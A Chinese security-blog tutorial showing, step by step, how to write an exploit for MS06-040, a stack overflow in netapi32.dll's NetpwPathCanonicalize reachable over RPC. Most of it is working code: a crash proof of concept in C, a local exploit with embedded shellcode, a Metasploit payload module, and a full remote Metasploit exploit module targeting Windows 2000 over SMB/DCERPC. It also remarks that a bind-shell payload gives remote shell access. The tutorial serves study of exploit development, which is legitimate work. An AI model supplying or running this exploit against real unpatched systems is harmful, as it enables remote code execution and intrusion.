远程RPC溢出EXP编写实战之MS06-040

*本文原创作者：wooy0ung，本文属FreeBuf原创奖励计划，未经许可禁止转载

0x01 前言

MS06-040算是个比较老的洞了，在当年影响十分之广，基本上Microsoft大部分操作系统都受到了影响，威力不亚于17年爆出的"永恒之蓝"漏洞。漏洞成因是Windows中参与socket网络的netapi32.dll动态链接库里的一个导出函数NetpwPathCanonicalize()存在栈溢出，而且这个函数能够通过RPC远程调用。由于是栈溢出利用起来不算太复杂，正好用来实践编写metasploit的远程利用脚本。

0x02 前期准备

1. Windows XP Professional sp3(非必需，我因为VC6安装在这上面，只是用来编译POC)

2. Windows 2000 Professional sp0(其他系统版本可能需要重新调试，更高版本可能需要绕过部分安全机制)

3. Kali Linux x64(安装有metasploit framework latest)

4. 调试器：Ollydbg 1.10

5. 编译器: VC++ 6.0

6. 反编译器: IDA 6.8

7. 注意: 需要未打补丁的netapi32.dll，Windows 2000在C:\WINNT\system32目录下能找到，

或者用以下提供的dll，但远程exploit必须要带有未打补丁dll的系统。

相关下载：

链接:https://pan.baidu.com/s/1qZQ1vnY 密码:5stq

0x03 定位崩溃点

VC++ 6.0编译POC, 运行

#include"stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;

	HINSTANCE LibHandle;
	MYPROC Trigger;

	char dll[ ] = "./netapi32.dll";
	char VulFunc[ ] = "NetpwPathCanonicalize";
	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

	memset(path,0,sizeof(path));
	memset(path,'a',sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'b',sizeof(prefix)-2);
	
	(Trigger)(path,can_path,maxbuf,prefix ,&pathtype,0);
	FreeLibrary(LibHandle);

	return 0;
}

程序崩溃掉, OD附加上去, EIP被"aaaa"填充

执行文件拖到OD, 单步来到call netapi32.NetpwPathCanonicalize, 再往下程序崩掉

跟进NetpwPathCanonicalize函数, 执行MSVCRT.wcscat, 当retn时程序再次崩溃

此处应该就是崩溃点, 在IDA定位到该函数

copy"bbbbbb..."串到栈上

"bbbbb..."串尾部拼接一个0x005C

继续拼接"aaaaa..."串, 覆盖返回地址

0x04 本地exploit

漏洞的成因是在prefix串的基础上拼接path串时没有长度检查，导致栈溢出。下面通过构造prefix、path串实现本地exploit。

观察在崩溃函数retn时, ecx指向缓冲区的开始。这样可以把shellcode布置在"bbbbbb...."串里, 用一条call/jmp ecx跳到栈上执行

// ms06_040_exp.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include <windows.h>

typedef void (*MYPROC)(LPTSTR, char *, int, char *, long *, bool);

char shellcode[]=
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"
"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"
"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"
"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"
"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"
"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"
"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"
"\xd7";    // 弹框

int main()
{	
	char path[0x320];
	char can_path[0x440];
	int maxbuf=0x440;
	char prefix[0x100];
	long pathtype=44;
	
	HINSTANCE LibHandle;
	MYPROC Trigger;

	char dll[] = "./netapi32.dll";
	char VulFunc[] = "NetpwPathCanonicalize";

	LibHandle = LoadLibrary(dll);
	Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);

	memset(path,0,sizeof(path));
	memset(path,0x90,sizeof(path)-2);
	memset(prefix,0,sizeof(prefix));
	memset(prefix,'a',sizeof(prefix)-2);
	memcpy(prefix,shellcode,113);

	path[0x318]=0xF9;		// call ecx，可能需要调试确定
	path[0x319]=0x52;
	path[0x31A]=0x18;
	path[0x31B]=0x75;

	(Trigger)(path,can_path,maxbuf,prefix,&pathtype,0);
	FreeLibrary(LibHandle);

	return 0;
}

0x05 远程exploit

很好，现在已经能够本地溢出NetpwPathCanonicalize()函数，下面我们利用metasploit提供的类库来写一份远程exp

##
# Author: wooy0ung
# Date:	2018/01/15
##

require 'msf/core'

module Metasploit3
  CachedSize = 200

  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Windows Warning Box',
      'Description'   => 'Only for Version under Windows 7',
      'Author'        => [ 'wooy0ung' ],
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'Payload'       =>
        {
          'Payload' =>
           	"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42\x08"+
		"\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c"+
		"\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b\x34\xaf\x01"+
		"\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e\x08\x45\x78\x69"+
		"\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01"+
		"\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x67\x20\x20\x01\x68\x79\x30\x75"+
		"\x6e\x68\x20\x77\x6f\x6f\x89\xe1\xfe\x49\x0b\x31\xc0\x51\x50\xff"+
		"\xd7"
        }
      ))
  end

end

以上是一段弹出警告框的payload，新建一个文本贴入以上代码，保存为warning.rb。

##
# Author: wooy0ung
# Date:	2018/01/15
##

require 'msf/core'  

class Metasploit3 < Msf::Exploit::Remote  
	Rank = GoodRanking

	include Exploit::Remote::DCERPC
	include Exploit::Remote::SMB::Client

	def initialize(info = {})

		super(update_info(info,
			'Name'           =>     "MS06-040 RPC Exploit",
			'Description'    => 	'Only for Windows 2000 Professional sp0',
      		        'Author'         => 	[ 'wooy0ung' ],
			'Platform'       =>	"win",
			'DefaultOptions' =>	{'EXITFUNC' => 'thread',},
			'DefaultTarget'  => 	0,
			'Targets'        =>	[['Windows 2000 Professional sp0',  {'Ret' => [0x318 , 0x74FB62C3] }]]))

		register_options([OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, SRVSVC)", 'BROWSER']),], self.class) 

	end

	def exploit

		connect()
		smb_login()

		handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188','3.0','ncacn_np',["\\#{datastore['SMBPIPE']}"])
		dcerpc_bind(handle)

		prefix = payload.encoded + make_nops(0x100 - payload.encoded.length - 2) + "\x00\x00"

		path = make_nops(0x318) + [target['Ret'][1]].pack('V') + 
		"\x04\xD0\xFD\x7F" * 5 +		# 可写地址(这里原本是崩溃函数传入的5个参数)
		"\x66\x81\xEC\x30\x04" +		# sub esp,430 (0x100 + 0x318 + 4 * 6 = 0x430 将esp指向payload起始)
		"\x8B\xC4" + 				# mov eax, esp
		"\xFF\xE4" +				# jmp esp
		"\x00\x00"				# Unicode结束符

		stub =	NDR.long(rand(0xffffffff)) +
			NDR.UnicodeConformantVaryingString('') +
			NDR.UnicodeConformantVaryingStringPreBuilt(path) +
			NDR.long(rand(250)+1) +
			NDR.UnicodeConformantVaryingStringPreBuilt(prefix) +
			NDR.long(rand(250)+1) +
			NDR.long(0)	

		begin
  			dcerpc.call(0x1f, stub, false)
			rescue Rex::Proto::DCERPC::Exceptions::NoResponse
			rescue => e
  			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
    			  raise e
  			end
    	        end

	       handler
    	       disconnect

  	end  
end

以上则是利用脚本，保存为ms06_040.rb，主要是构造shellcode(在path做ROP，跳到prefix中执行payload)，在Windows 2000下利用起来比较容易，不再作解释。

选择之前保存的exp和payload，设置好靶机ip，pwn~

当然，将普通弹框换成bind_shell的payload就可以拿到shell了~

0x06 后记

看了metasploit的exploits模块里MS06-040的利用脚本，发现这个洞一直影响到XP和Server 2003版本。因为主要是为了练习写metasploit框架的exp，所以就不继续延伸了。

*本文原创作者：wooy0ung，本文属FreeBuf原创奖励计划，未经许可禁止转载